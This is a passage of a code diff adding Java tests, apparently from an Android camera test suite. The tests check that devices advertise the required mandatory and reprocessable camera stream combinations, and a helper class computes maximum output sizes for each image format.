+ {YUV, PREVIEW, JPEG, MAXIMUM},
+ // Standard recording.
+ {PRIV, PREVIEW, PRIV, PREVIEW},
+ // Preview plus in-app processing.
+ {PRIV, PREVIEW, YUV, PREVIEW},
+ // Still capture plus in-app processing.
+ {PRIV, PREVIEW, YUV, PREVIEW, JPEG, MAXIMUM}
+ };
+
+ final int[][] LIMITED_COMBINATIONS = {
+ // High-resolution video recording with preview.
+ {PRIV, PREVIEW, PRIV, RECORD },
+ // High-resolution in-app video processing with preview.
+ {PRIV, PREVIEW, YUV , RECORD },
+ // Two-input in-app video processing.
+ {YUV , PREVIEW, YUV , RECORD },
+ // High-resolution recording with video snapshot.
+ {PRIV, PREVIEW, PRIV, RECORD, JPEG, RECORD },
+ // High-resolution in-app processing with video snapshot.
+ {PRIV, PREVIEW, YUV, RECORD, JPEG, RECORD },
+ // Two-input in-app processing with still capture.
+ {YUV , PREVIEW, YUV, PREVIEW, JPEG, MAXIMUM }
+ };
+
+ final int[][] BURST_COMBINATIONS = {
+ // Maximum-resolution GPU processing with preview.
+ {PRIV, PREVIEW, PRIV, MAXIMUM },
+ // Maximum-resolution in-app processing with preview.
+ {PRIV, PREVIEW, YUV, MAXIMUM },
+ // Maximum-resolution two-input in-app processing.
+ {YUV, PREVIEW, YUV, MAXIMUM },
+ };
+
+ final int[][] FULL_COMBINATIONS = {
+ // Video recording with maximum-size video snapshot.
+ {PRIV, PREVIEW, PRIV, PREVIEW, JPEG, MAXIMUM },
+ // Standard video recording plus maximum-resolution in-app processing.
+ {YUV, VGA, PRIV, PREVIEW, YUV, MAXIMUM },
+ // Preview plus two-input maximum-resolution in-app processing.
+ {YUV, VGA, YUV, PREVIEW, YUV, MAXIMUM }
+ };
+
+ final int[][] RAW_COMBINATIONS = {
+ // No-preview DNG capture.
+ {RAW, MAXIMUM },
+ // Standard DNG capture.
+ {PRIV, PREVIEW, RAW, MAXIMUM },
+ // In-app processing plus DNG capture.
+ {YUV, PREVIEW, RAW, MAXIMUM },
+ // Video recording with DNG capture.
+ {PRIV, PREVIEW, PRIV, PREVIEW, RAW, MAXIMUM},
+ // Preview with in-app processing and DNG capture.
+ {PRIV, PREVIEW, YUV, PREVIEW, RAW, MAXIMUM},
+ // Two-input in-app processing plus DNG capture.
+ {YUV, PREVIEW, YUV, PREVIEW, RAW, MAXIMUM},
+ // Still capture with simultaneous JPEG and DNG.
+ {PRIV, PREVIEW, JPEG, MAXIMUM, RAW, MAXIMUM},
+ // In-app processing with simultaneous JPEG and DNG.
+ {YUV, PREVIEW, JPEG, MAXIMUM, RAW, MAXIMUM}
+ };
+
+ final int[][] LEVEL_3_COMBINATIONS = {
+ // In-app viewfinder analysis with dynamic selection of output format
+ {PRIV, PREVIEW, PRIV, VGA, YUV, MAXIMUM, RAW, MAXIMUM},
+ // In-app viewfinder analysis with dynamic selection of output format
+ {PRIV, PREVIEW, PRIV, VGA, JPEG, MAXIMUM, RAW, MAXIMUM}
+ };
+
+ final int[][][] TABLES =
+ { LEGACY_COMBINATIONS, LIMITED_COMBINATIONS, BURST_COMBINATIONS, FULL_COMBINATIONS,
+ RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
+
+ sanityCheckConfigurationTables(TABLES);
+
+ for (String id : mCameraIdsUnderTest) {
+ openDevice(id);
+ MandatoryStreamCombination[] combinations =
+ mStaticInfo.getCharacteristics().get(
+ CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+ if ((combinations == null) || (combinations.length == 0)) {
+ Log.i(TAG, "No mandatory stream combinations for camera: " + id + " skip test");
+ closeDevice(id);
+ continue;
+ }
+
+ MaxStreamSizes maxSizes = new MaxStreamSizes(mStaticInfo, id, mContext);
+ try {
+ if (mStaticInfo.isColorOutputSupported()) {
+ for (int[] c : LEGACY_COMBINATIONS) {
+ assertTrue(String.format("Expected static stream combination: %s not " +
+ "found among the available mandatory combinations",
+ maxSizes.combinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, combinations));
+ }
+ }
+
+ if (!mStaticInfo.isHardwareLevelLegacy()) {
+ if (mStaticInfo.isColorOutputSupported()) {
+ for (int[] c : LIMITED_COMBINATIONS) {
+ assertTrue(String.format("Expected static stream combination: %s not " +
+ "found among the available mandatory combinations",
+ maxSizes.combinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, combinations));
+ }
+ }
+
+ if (mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BURST_CAPTURE)) {
+ for (int[] c : BURST_COMBINATIONS) {
+ assertTrue(String.format("Expected static stream combination: %s not " +
+ "found among the available mandatory combinations",
+ maxSizes.combinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, combinations));
+ }
+ }
+
+ if (mStaticInfo.isHardwareLevelAtLeastFull()) {
+ for (int[] c : FULL_COMBINATIONS) {
+ assertTrue(String.format("Expected static stream combination: %s not " +
+ "found among the available mandatory combinations",
+ maxSizes.combinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, combinations));
+ }
+ }
+
+ if (mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
+ for (int[] c : RAW_COMBINATIONS) {
+ assertTrue(String.format("Expected static stream combination: %s not " +
+ "found among the available mandatory combinations",
+ maxSizes.combinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, combinations));
+ }
+ }
+
+ if (mStaticInfo.isHardwareLevelAtLeast(
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_3)) {
+ for (int[] c: LEVEL_3_COMBINATIONS) {
+ assertTrue(String.format("Expected static stream combination: %s not " +
+ "found among the available mandatory combinations",
+ maxSizes.combinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, combinations));
+ }
+ }
+ }
+ } finally {
+ closeDevice(id);
+ }
+ }
+ }
+
+ /**
+ * Test for making sure that all expected reprocessable mandatory stream combinations are
+ * present and advertised accordingly.
+ */
+ @Test
+ public void testVerifyReprocessMandatoryOutputCombinationTables() throws Exception {
+ final int[][] LIMITED_COMBINATIONS = {
+ // Input Outputs
+ {PRIV, MAXIMUM, JPEG, MAXIMUM},
+ {YUV , MAXIMUM, JPEG, MAXIMUM},
+ {PRIV, MAXIMUM, PRIV, PREVIEW, JPEG, MAXIMUM},
+ {YUV , MAXIMUM, PRIV, PREVIEW, JPEG, MAXIMUM},
+ {PRIV, MAXIMUM, YUV , PREVIEW, JPEG, MAXIMUM},
+ {YUV , MAXIMUM, YUV , PREVIEW, JPEG, MAXIMUM},
+ {PRIV, MAXIMUM, YUV , PREVIEW, YUV , PREVIEW, JPEG, MAXIMUM},
+ {YUV, MAXIMUM, YUV , PREVIEW, YUV , PREVIEW, JPEG, MAXIMUM},
+ };
+
+ final int[][] FULL_COMBINATIONS = {
+ // Input Outputs
+ {YUV , MAXIMUM, PRIV, PREVIEW},
+ {YUV , MAXIMUM, YUV , PREVIEW},
+ {PRIV, MAXIMUM, PRIV, PREVIEW, YUV , RECORD},
+ {YUV , MAXIMUM, PRIV, PREVIEW, YUV , RECORD},
+ {PRIV, MAXIMUM, PRIV, PREVIEW, YUV , MAXIMUM},
+ {PRIV, MAXIMUM, YUV , PREVIEW, YUV , MAXIMUM},
+ {PRIV, MAXIMUM, PRIV, PREVIEW, YUV , PREVIEW, JPEG, MAXIMUM},
+ {YUV , MAXIMUM, PRIV, PREVIEW, YUV , PREVIEW, JPEG, MAXIMUM},
+ };
+
+ final int[][] RAW_COMBINATIONS = {
+ // Input Outputs
+ {PRIV, MAXIMUM, YUV , PREVIEW, RAW , MAXIMUM},
+ {YUV , MAXIMUM, YUV , PREVIEW, RAW , MAXIMUM},
+ {PRIV, MAXIMUM, PRIV, PREVIEW, YUV , PREVIEW, RAW , MAXIMUM},
+ {YUV , MAXIMUM, PRIV, PREVIEW, YUV , PREVIEW, RAW , MAXIMUM},
+ {PRIV, MAXIMUM, YUV , PREVIEW, YUV , PREVIEW, RAW , MAXIMUM},
+ {YUV , MAXIMUM, YUV , PREVIEW, YUV , PREVIEW, RAW , MAXIMUM},
+ {PRIV, MAXIMUM, PRIV, PREVIEW, JPEG, MAXIMUM, RAW , MAXIMUM},
+ {YUV , MAXIMUM, PRIV, PREVIEW, JPEG, MAXIMUM, RAW , MAXIMUM},
+ {PRIV, MAXIMUM, YUV , PREVIEW, JPEG, MAXIMUM, RAW , MAXIMUM},
+ {YUV , MAXIMUM, YUV , PREVIEW, JPEG, MAXIMUM, RAW , MAXIMUM},
+ };
+
+ final int[][] LEVEL_3_COMBINATIONS = {
+ // Input Outputs
+ // In-app viewfinder analysis with YUV->YUV ZSL and RAW
+ {YUV , MAXIMUM, PRIV, PREVIEW, PRIV, VGA, RAW, MAXIMUM},
+ // In-app viewfinder analysis with PRIV->JPEG ZSL and RAW
+ {PRIV, MAXIMUM, PRIV, PREVIEW, PRIV, VGA, RAW, MAXIMUM, JPEG, MAXIMUM},
+ // In-app viewfinder analysis with YUV->JPEG ZSL and RAW
+ {YUV , MAXIMUM, PRIV, PREVIEW, PRIV, VGA, RAW, MAXIMUM, JPEG, MAXIMUM},
+ };
+
+ final int[][][] TABLES =
+ { LIMITED_COMBINATIONS, FULL_COMBINATIONS, RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
+
+ sanityCheckConfigurationTables(TABLES);
+
+ for (String id : mCameraIdsUnderTest) {
+ openDevice(id);
+ MandatoryStreamCombination[] cs = mStaticInfo.getCharacteristics().get(
+ CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+ if ((cs == null) || (cs.length == 0)) {
+ Log.i(TAG, "No mandatory stream combinations for camera: " + id + " skip test");
+ closeDevice(id);
+ continue;
+ }
+
+ boolean supportYuvReprocess = mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING);
+ boolean supportOpaqueReprocess = mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING);
+ if (!supportYuvReprocess && !supportOpaqueReprocess) {
+ Log.i(TAG, "No reprocess support for camera: " + id + " skip test");
+ closeDevice(id);
+ continue;
+ }
+
+ MaxStreamSizes maxSizes = new MaxStreamSizes(mStaticInfo, id, mContext);
+ try {
+ for (int[] c : LIMITED_COMBINATIONS) {
+ assertTrue(String.format("Expected static reprocessable stream combination:" +
+ "%s not found among the available mandatory combinations",
+ maxSizes.reprocessCombinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, /*isInput*/ true, cs));
+ }
+
+ if (mStaticInfo.isHardwareLevelAtLeastFull()) {
+ for (int[] c : FULL_COMBINATIONS) {
+ assertTrue(String.format(
+ "Expected static reprocessable stream combination:" +
+ "%s not found among the available mandatory combinations",
+ maxSizes.reprocessCombinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, /*isInput*/ true, cs));
+ }
+ }
+
+ if (mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
+ for (int[] c : RAW_COMBINATIONS) {
+ assertTrue(String.format(
+ "Expected static reprocessable stream combination:" +
+ "%s not found among the available mandatory combinations",
+ maxSizes.reprocessCombinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, /*isInput*/ true, cs));
+ }
+ }
+
+ if (mStaticInfo.isHardwareLevelAtLeast(
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_3)) {
+ for (int[] c : LEVEL_3_COMBINATIONS) {
+ assertTrue(String.format(
+ "Expected static reprocessable stream combination:" +
+ "%s not found among the available mandatory combinations",
+ maxSizes.reprocessCombinationToString(c)),
+ isMandatoryCombinationAvailable(c, maxSizes, /*isInput*/ true, cs));
+ }
+ }
+ } finally {
+ closeDevice(id);
+ }
+ }
+ }
+
+ private boolean isMandatoryCombinationAvailable(final int[] combination,
+ final MaxStreamSizes maxSizes,
+ final MandatoryStreamCombination[] availableCombinations) {
+ return isMandatoryCombinationAvailable(combination, maxSizes, /*isInput*/ false,
+ availableCombinations);
+ }
+
+ private boolean isMandatoryCombinationAvailable(final int[] combination,
+ final MaxStreamSizes maxSizes, boolean isInput,
+ final MandatoryStreamCombination[] availableCombinations) {
+ // Static combinations to be verified can be composed of multiple entries
+ // that have the following layout (format, size). In case "isInput" is set,
+ // the first stream configuration entry will contain the input format and size
+ // as well as the first matching output.
+ int streamCount = combination.length / 2;
+ ArrayList<Pair<Pair<Integer, Boolean>, Size>> currentCombination =
+ new ArrayList<Pair<Pair<Integer, Boolean>, Size>>(streamCount);
+ for (int i = 0; i < combination.length; i += 2) {
+ if (isInput && (i == 0)) {
+ Size sz = maxSizes.getMaxInputSizeForFormat(combination[i]);
+ currentCombination.add(Pair.create(Pair.create(new Integer(combination[i]),
+ new Boolean(true)), sz));
+ currentCombination.add(Pair.create(Pair.create(new Integer(combination[i]),
+ new Boolean(false)), sz));
+ } else {
+ Size sz = maxSizes.getOutputSizeForFormat(combination[i], combination[i+1]);
+ currentCombination.add(Pair.create(Pair.create(new Integer(combination[i]),
+ new Boolean(false)), sz));
+ }
+ }
+
+ for (MandatoryStreamCombination c : availableCombinations) {
+ List<MandatoryStreamInformation> streamInfoList = c.getStreamsInformation();
+ if ((streamInfoList.size() == currentCombination.size()) &&
+ (isInput == c.isReprocessable())) {
+ ArrayList<Pair<Pair<Integer, Boolean>, Size>> expected =
+ new ArrayList<Pair<Pair<Integer, Boolean>, Size>>(currentCombination);
+
+ for (MandatoryStreamInformation streamInfo : streamInfoList) {
+ Size maxSize = CameraTestUtils.getMaxSize(
+ streamInfo.getAvailableSizes().toArray(new Size[0]));
+ Pair p = Pair.create(Pair.create(new Integer(streamInfo.getFormat()),
+ new Boolean(streamInfo.isInput())), maxSize);
+ if (expected.contains(p)) {
+ expected.remove(p);
+ }
+ }
+
+ if (expected.isEmpty()) {
+ return true;
+ }
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Sanity check the configuration tables.
+ */
+ private void sanityCheckConfigurationTables(final int[][][] tables) throws Exception {
+ int tableIdx = 0;
+ for (int[][] table : tables) {
+ int rowIdx = 0;
+ for (int[] row : table) {
+ assertTrue(String.format("Odd number of entries for table %d row %d: %s ",
+ tableIdx, rowIdx, Arrays.toString(row)),
+ (row.length % 2) == 0);
+ for (int i = 0; i < row.length; i += 2) {
+ int format = row[i];
+ int maxSize = row[i + 1];
+ assertTrue(String.format("table %d row %d index %d format not valid: %d",
+ tableIdx, rowIdx, i, format),
+ format == PRIV || format == JPEG || format == YUV || format == RAW);
+ assertTrue(String.format("table %d row %d index %d max size not valid: %d",
+ tableIdx, rowIdx, i + 1, maxSize),
+ maxSize == PREVIEW || maxSize == RECORD ||
+ maxSize == MAXIMUM || maxSize == VGA);
+ }
+ rowIdx++;
+ }
+ tableIdx++;
+ }
+ }
+
+ /**
+ * Simple holder for resolutions to use for different camera outputs and size limits.
+ */
+ static class MaxStreamSizes {
+ // Format shorthands
+ static final int PRIV = ImageFormat.PRIVATE;
+ static final int JPEG = ImageFormat.JPEG;
+ static final int YUV = ImageFormat.YUV_420_888;
+ static final int RAW = ImageFormat.RAW_SENSOR;
+ static final int Y8 = ImageFormat.Y8;
+ static final int HEIC = ImageFormat.HEIC;
+
+ // Max resolution indices
+ static final int PREVIEW = 0;
+ static final int RECORD = 1;
+ static final int MAXIMUM = 2;
+ static final int VGA = 3;
+ static final int VGA_FULL_FOV = 4;
+ static final int MAX_30FPS = 5;
+ static final int RESOLUTION_COUNT = 6;
+
+ static final long FRAME_DURATION_30FPS_NSEC = (long) 1e9 / 30;
+
+ public MaxStreamSizes(StaticMetadata sm, String cameraId, Context context) {
+ Size[] privSizes = sm.getAvailableSizesForFormatChecked(ImageFormat.PRIVATE,
+ StaticMetadata.StreamDirection.Output);
+ Size[] yuvSizes = sm.getAvailableSizesForFormatChecked(ImageFormat.YUV_420_888,
+ StaticMetadata.StreamDirection.Output);
+ Size[] y8Sizes = sm.getAvailableSizesForFormatChecked(ImageFormat.Y8,
+ StaticMetadata.StreamDirection.Output);
+ Size[] jpegSizes = sm.getJpegOutputSizesChecked();
+ Size[] rawSizes = sm.getRawOutputSizesChecked();
+ Size[] heicSizes = sm.getHeicOutputSizesChecked();
+
+ Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
+
+ maxRawSize = (rawSizes.length != 0) ? CameraTestUtils.getMaxSize(rawSizes) : null;
+
+ StreamConfigurationMap configs = sm.getCharacteristics().get(
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+ if (sm.isColorOutputSupported()) {
+ maxPrivSizes[PREVIEW] = getMaxSize(privSizes, maxPreviewSize);
+ maxYuvSizes[PREVIEW] = getMaxSize(yuvSizes, maxPreviewSize);
+ maxJpegSizes[PREVIEW] = getMaxSize(jpegSizes, maxPreviewSize);
+
+ if (sm.isExternalCamera()) {
+ maxPrivSizes[RECORD] = getMaxExternalRecordingSize(cameraId, configs);
+ maxYuvSizes[RECORD] = getMaxExternalRecordingSize(cameraId, configs);
+ maxJpegSizes[RECORD] = getMaxExternalRecordingSize(cameraId, configs);
+ } else {
+ maxPrivSizes[RECORD] = getMaxRecordingSize(cameraId);
+ maxYuvSizes[RECORD] = getMaxRecordingSize(cameraId);
+ maxJpegSizes[RECORD] = getMaxRecordingSize(cameraId);
+ }
+
+ maxPrivSizes[MAXIMUM] = CameraTestUtils.getMaxSize(privSizes);
+ maxYuvSizes[MAXIMUM] = CameraTestUtils.getMaxSize(yuvSizes);
+ maxJpegSizes[MAXIMUM] = CameraTestUtils.getMaxSize(jpegSizes);
+
+ // Must always be supported, add unconditionally
+ final Size vgaSize = new Size(640, 480);
+ maxPrivSizes[VGA] = vgaSize;
+ maxYuvSizes[VGA] = vgaSize;
+ maxJpegSizes[VGA] = vgaSize;
+
+ if (sm.isMonochromeWithY8()) {
+ maxY8Sizes[PREVIEW] = getMaxSize(y8Sizes, maxPreviewSize);
+ if (sm.isExternalCamera()) {
+ maxY8Sizes[RECORD] = getMaxExternalRecordingSize(cameraId, configs);
+ } else {
+ maxY8Sizes[RECORD] = getMaxRecordingSize(cameraId);
+ }
+ maxY8Sizes[MAXIMUM] = CameraTestUtils.getMaxSize(y8Sizes);
+ maxY8Sizes[VGA] = vgaSize;
+ }
+
+ if (sm.isHeicSupported()) {
+ maxHeicSizes[PREVIEW] = getMaxSize(heicSizes, maxPreviewSize);
+ maxHeicSizes[RECORD] = getMaxRecordingSize(cameraId);
+ maxHeicSizes[MAXIMUM] = CameraTestUtils.getMaxSize(heicSizes);
+ maxHeicSizes[VGA] = vgaSize;
+ }
+ }
+ if (sm.isColorOutputSupported() && !sm.isHardwareLevelLegacy()) {
+ // VGA resolution, but with aspect ratio matching full res FOV
+ float fullFovAspect = maxYuvSizes[MAXIMUM].getWidth() /
+ (float) maxYuvSizes[MAXIMUM].getHeight();
+ Size vgaFullFovSize = new Size(640, (int) (640 / fullFovAspect));
+
+ maxPrivSizes[VGA_FULL_FOV] = vgaFullFovSize;
+ maxYuvSizes[VGA_FULL_FOV] = vgaFullFovSize;
+ maxJpegSizes[VGA_FULL_FOV] = vgaFullFovSize;
+ if (sm.isMonochromeWithY8()) {
+ maxY8Sizes[VGA_FULL_FOV] = vgaFullFovSize;
+ }
+
+ // Max resolution that runs at 30fps
+
+ Size maxPriv30fpsSize = null;
+ Size maxYuv30fpsSize = null;
+ Size maxY830fpsSize = null;
+ Size maxJpeg30fpsSize = null;
+ Comparator<Size> comparator = new SizeComparator();
+ for (Map.Entry<Size, Long> e :
+ sm.getAvailableMinFrameDurationsForFormatChecked(ImageFormat.PRIVATE).
+ entrySet()) {
+ Size s = e.getKey();
+ Long minDuration = e.getValue();
+ Log.d(TAG, String.format("Priv Size: %s, duration %d limit %d", s, minDuration,
+ FRAME_DURATION_30FPS_NSEC));
+ if (minDuration <= FRAME_DURATION_30FPS_NSEC) {
+ if (maxPriv30fpsSize == null ||
+ comparator.compare(maxPriv30fpsSize, s) < 0) {
+ maxPriv30fpsSize = s;
+ }
+ }
+ }
+ assertTrue("No PRIVATE resolution available at 30fps!", maxPriv30fpsSize != null);
+
+ for (Map.Entry<Size, Long> e :
+ sm.getAvailableMinFrameDurationsForFormatChecked(
+ ImageFormat.YUV_420_888).
+ entrySet()) {
+ Size s = e.getKey();
+ Long minDuration = e.getValue();
+ Log.d(TAG, String.format("YUV Size: %s, duration %d limit %d", s, minDuration,
+ FRAME_DURATION_30FPS_NSEC));
+ if (minDuration <= FRAME_DURATION_30FPS_NSEC) {
+ if (maxYuv30fpsSize == null ||
+ comparator.compare(maxYuv30fpsSize, s) < 0) {
+ maxYuv30fpsSize = s;
+ }
+ }
+ }
+ assertTrue("No YUV_420_888 resolution available at 30fps!",
+ maxYuv30fpsSize != null);
+
+ if (sm.isMonochromeWithY8()) {
+ for (Map.Entry<Size, Long> e :
+ sm.getAvailableMinFrameDurationsForFormatChecked(
+ ImageFormat.Y8).
+ entrySet()) {
+ Size s = e.getKey();
+ Long minDuration = e.getValue();
+ Log.d(TAG, String.format("Y8 Size: %s, duration %d limit %d",
+ s, minDuration, FRAME_DURATION_30FPS_NSEC));
+ if (minDuration <= FRAME_DURATION_30FPS_NSEC) {
+ if (maxY830fpsSize == null ||
+ comparator.compare(maxY830fpsSize, s) < 0) {
+ maxY830fpsSize = s;
+ }
+ }
+ }
+ assertTrue("No Y8 resolution available at 30fps!", maxY830fpsSize != null);
+ }
+
+ for (Map.Entry<Size, Long> e :
+ sm.getAvailableMinFrameDurationsForFormatChecked(ImageFormat.JPEG).
+ entrySet()) {
+ Size s = e.getKey();
+ Long minDuration = e.getValue();
+ Log.d(TAG, String.format("JPEG Size: %s, duration %d limit %d", s, minDuration,
+ FRAME_DURATION_30FPS_NSEC));
+ if (minDuration <= FRAME_DURATION_30FPS_NSEC) {
+ if (maxJpeg30fpsSize == null ||
+ comparator.compare(maxJpeg30fpsSize, s) < 0) {
+ maxJpeg30fpsSize = s;
+ }
+ }
+ }
+ assertTrue("No JPEG resolution available at 30fps!", maxJpeg30fpsSize != null);
+
+ maxPrivSizes[MAX_30FPS] = maxPriv30fpsSize;
+ maxYuvSizes[MAX_30FPS] = maxYuv30fpsSize;
+ maxY8Sizes[MAX_30FPS] = maxY830fpsSize;
+ maxJpegSizes[MAX_30FPS] = maxJpeg30fpsSize;
+ }
+
+ Size[] privInputSizes = configs.getInputSizes(ImageFormat.PRIVATE);
+ maxInputPrivSize = privInputSizes != null ?
+ CameraTestUtils.getMaxSize(privInputSizes) : null;
+ Size[] yuvInputSizes = configs.getInputSizes(ImageFormat.YUV_420_888);
+ maxInputYuvSize = yuvInputSizes != null ?
+ CameraTestUtils.getMaxSize(yuvInputSizes) : null;
+ Size[] y8InputSizes = configs.getInputSizes(ImageFormat.Y8);
+ maxInputY8Size = y8InputSizes != null ?
+ CameraTestUtils.getMaxSize(y8InputSizes) : null;
+ }
+
+ private final Size[] maxPrivSizes = new Size[RESOLUTION_COUNT];
+ private final Size[] maxJpegSizes = new Size[RESOLUTION_COUNT];
+ private final Size[] maxYuvSizes = new Size[RESOLUTION_COUNT];
+ private final Size[] maxY8Sizes = new Size[RESOLUTION_COUNT];
+ private final Size[] maxHeicSizes = new Size[RESOLUTION_COUNT];
+ private final Size maxRawSize;
+ // TODO: support non maximum reprocess input.
+ private final Size maxInputPrivSize;
+ private final Size maxInputYuvSize;
+ private final Size maxInputY8Size;
+
+ public final Size getOutputSizeForFormat(int format, int resolutionIndex) {
+ if (resolutionIndex >= RESOLUTION_COUNT) {
+ return new Size(0, 0);
+ }
+
+ switch (format) {
+ case PRIV:
+ return maxPrivSizes[resolutionIndex];
+ case YUV:
+ return maxYuvSizes[resolutionIndex];
+ case JPEG:
+ return maxJpegSizes[resolutionIndex];
+ case Y8:
+ return maxY8Sizes[resolutionIndex];
+ case HEIC:
+ return maxHeicSizes[resolutionIndex];
+ case RAW:
+ return maxRawSize;
+ default:
+ return new Size(0, 0);
+ }
+ }
+
+ public final Size getMaxInputSizeForFormat(int format) {
+ switch (format) {
+ case PRIV:
+ return maxInputPrivSize;
+ case YUV:
+ return maxInputYuvSize;
+ case Y8:
+ return maxInputY8Size;
+ default:
+ return new Size(0, 0);
+ }
+ }
+
+ static public String combinationToString(int[] combination) {
+ StringBuilder b = new StringBuilder("{ ");
+ for (int i = 0; i < combination.length; i += 2) {
+ int format = combination[i];
+ int sizeLimit = combination[i + 1];
+
+ appendFormatSize(b, format, sizeLimit);
+ b.append(" ");
+ }
+ b.append("}");
+ return b.toString();
+ }
+
+ static public String reprocessCombinationToString(int[] reprocessCombination) {
+ // reprocessConfig[0..1] is the input configuration
+ StringBuilder b = new StringBuilder("Input: ");
+ appendFormatSize(b, reprocessCombination[0], reprocessCombination[1]);
+
+ // reprocessCombnation[0..1] is also output combination to be captured as reprocess
+ // input.
+ b.append(", Outputs: { ");
+ for (int i = 0; i < reprocessCombination.length; i += 2) {
+ int format = reprocessCombination[i];
+ int sizeLimit = reprocessCombination[i + 1];
+
+ appendFormatSize(b, format, sizeLimit);
+ b.append(" ");
+ }
+ b.append("}");
+ return b.toString();
+ }
+
+ static private void appendFormatSize(StringBuilder b, int format, int Size) {
+ switch (format) {
+ case PRIV:
+ b.append("[PRIV, ");
+ break;
+ case JPEG:
+ b.append("[JPEG, ");
+ break;
+ case YUV:
+ b.append("[YUV, ");
+ break;
+ case Y8:
+ b.append("[Y8, ");
+ break;
+ case RAW:
+ b.append("[RAW, ");
+ break;
+ default:
+ b.append("[UNK, ");
+ break;
+ }
+
+ switch (Size) {
+ case PREVIEW:
+ b.append("PREVIEW]");
+ break;
+ case RECORD:
+ b.append("RECORD]");
+ break;
+ case MAXIMUM:
+ b.append("MAXIMUM]");
+ break;
+ case VGA:
+ b.append("VGA]");
+ break;
+ case VGA_FULL_FOV:
+ b.append("VGA_FULL_FOV]");
+ break;
+ case MAX_30FPS:
+ b.append("MAX_30FPS]");
+ break;
+ default:
+ b.append("UNK]");
+ break;
+ }
+ }
+ }
+
+ private static Size getMaxRecordingSize(String cameraId) {
+ int id = Integer.valueOf(cameraId);
+
+ int quality =
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2160P) ?
+ CamcorderProfile.QUALITY_2160P :
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_1080P) ?
+ CamcorderProfile.QUALITY_1080P :
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_720P) ?
+ CamcorderProfile.QUALITY_720P :
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_480P) ?
+ CamcorderProfile.QUALITY_480P :
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_QVGA) ?
+ CamcorderProfile.QUALITY_QVGA :
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_CIF) ?
+ CamcorderProfile.QUALITY_CIF :
+ CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_QCIF) ?
+ CamcorderProfile.QUALITY_QCIF :
+ -1;
+
+ assertTrue("No recording supported for camera id " + cameraId, quality != -1);
+
+ CamcorderProfile maxProfile = CamcorderProfile.get(id, quality);
+ return new Size(maxProfile.videoFrameWidth, maxProfile.videoFrameHeight);
+ }
+
+ private static Size getMaxExternalRecordingSize(
+ String cameraId, StreamConfigurationMap config) {
+ final Size FULLHD = new Size(1920, 1080);
+
+ Size[] videoSizeArr = config.getOutputSizes(android.media.MediaRecorder.class);
+ List<Size> sizes = new ArrayList<Size>();
+ for (Size sz: videoSizeArr) {
+ if (sz.getWidth() <= FULLHD.getWidth() && sz.getHeight() <= FULLHD.getHeight()) {
+ sizes.add(sz);
+ }
+ }
+ List<Size> videoSizes = getAscendingOrderSizes(sizes, /*ascending*/false);
+ for (Size sz : videoSizes) {
+ long minFrameDuration = config.getOutputMinFrameDuration(
+ android.media.MediaRecorder.class, sz);
+ // Give some margin for rounding error
+ if (minFrameDuration > (1e9 / 30.1)) {
+ Log.i(TAG, "External camera " + cameraId + " has max video size:" + sz);
+ return sz;
+ }
+ }
+ fail("Camera " + cameraId + " does not support any 30fps video output");
+ return FULLHD; // doesn't matter what size is returned here
+ }
+
+ /**
+ * Get maximum size in list that's equal or smaller to than the bound.
+ * Returns null if no size is smaller than or equal to the bound.
+ */
+ private static Size getMaxSize(Size[] sizes, Size bound) {
+ if (sizes == null || sizes.length == 0) {
+ throw new IllegalArgumentException("sizes was empty");
+ }
+
+ Size sz = null;
+ for (Size size : sizes) {
+ if (size.getWidth() <= bound.getWidth() && size.getHeight() <= bound.getHeight()) {
+
+ if (sz == null) {
+ sz = size;
+ } else {
+ long curArea = sz.getWidth() * (long) sz.getHeight();
+ long newArea = size.getWidth() * (long) size.getHeight();
+ if ( newArea > curArea ) {
+ sz = size;
+ }
+ }
+ }
+ }
+
+ assertTrue("No size under bound found: " + Arrays.toString(sizes) + " bound " + bound,
+ sz != null);
+
+ return sz;
+ }
+
+ private static Size getMaxPreviewSize(Context context, String cameraId) {
+ try {
+ WindowManager windowManager =
+ (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
+ Display display = windowManager.getDefaultDisplay();
+
+ int width = display.getWidth();
+ int height = display.getHeight();
+
+ if (height > width) {
+ height = width;
+ width = display.getHeight();
+ }
+
+ CameraManager camMgr =
+ (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+ List<Size> orderedPreviewSizes = CameraTestUtils.getSupportedPreviewSizes(
+ cameraId, camMgr, PREVIEW_SIZE_BOUND);
+
+ if (orderedPreviewSizes != null) {
+ for (Size size : orderedPreviewSizes) {
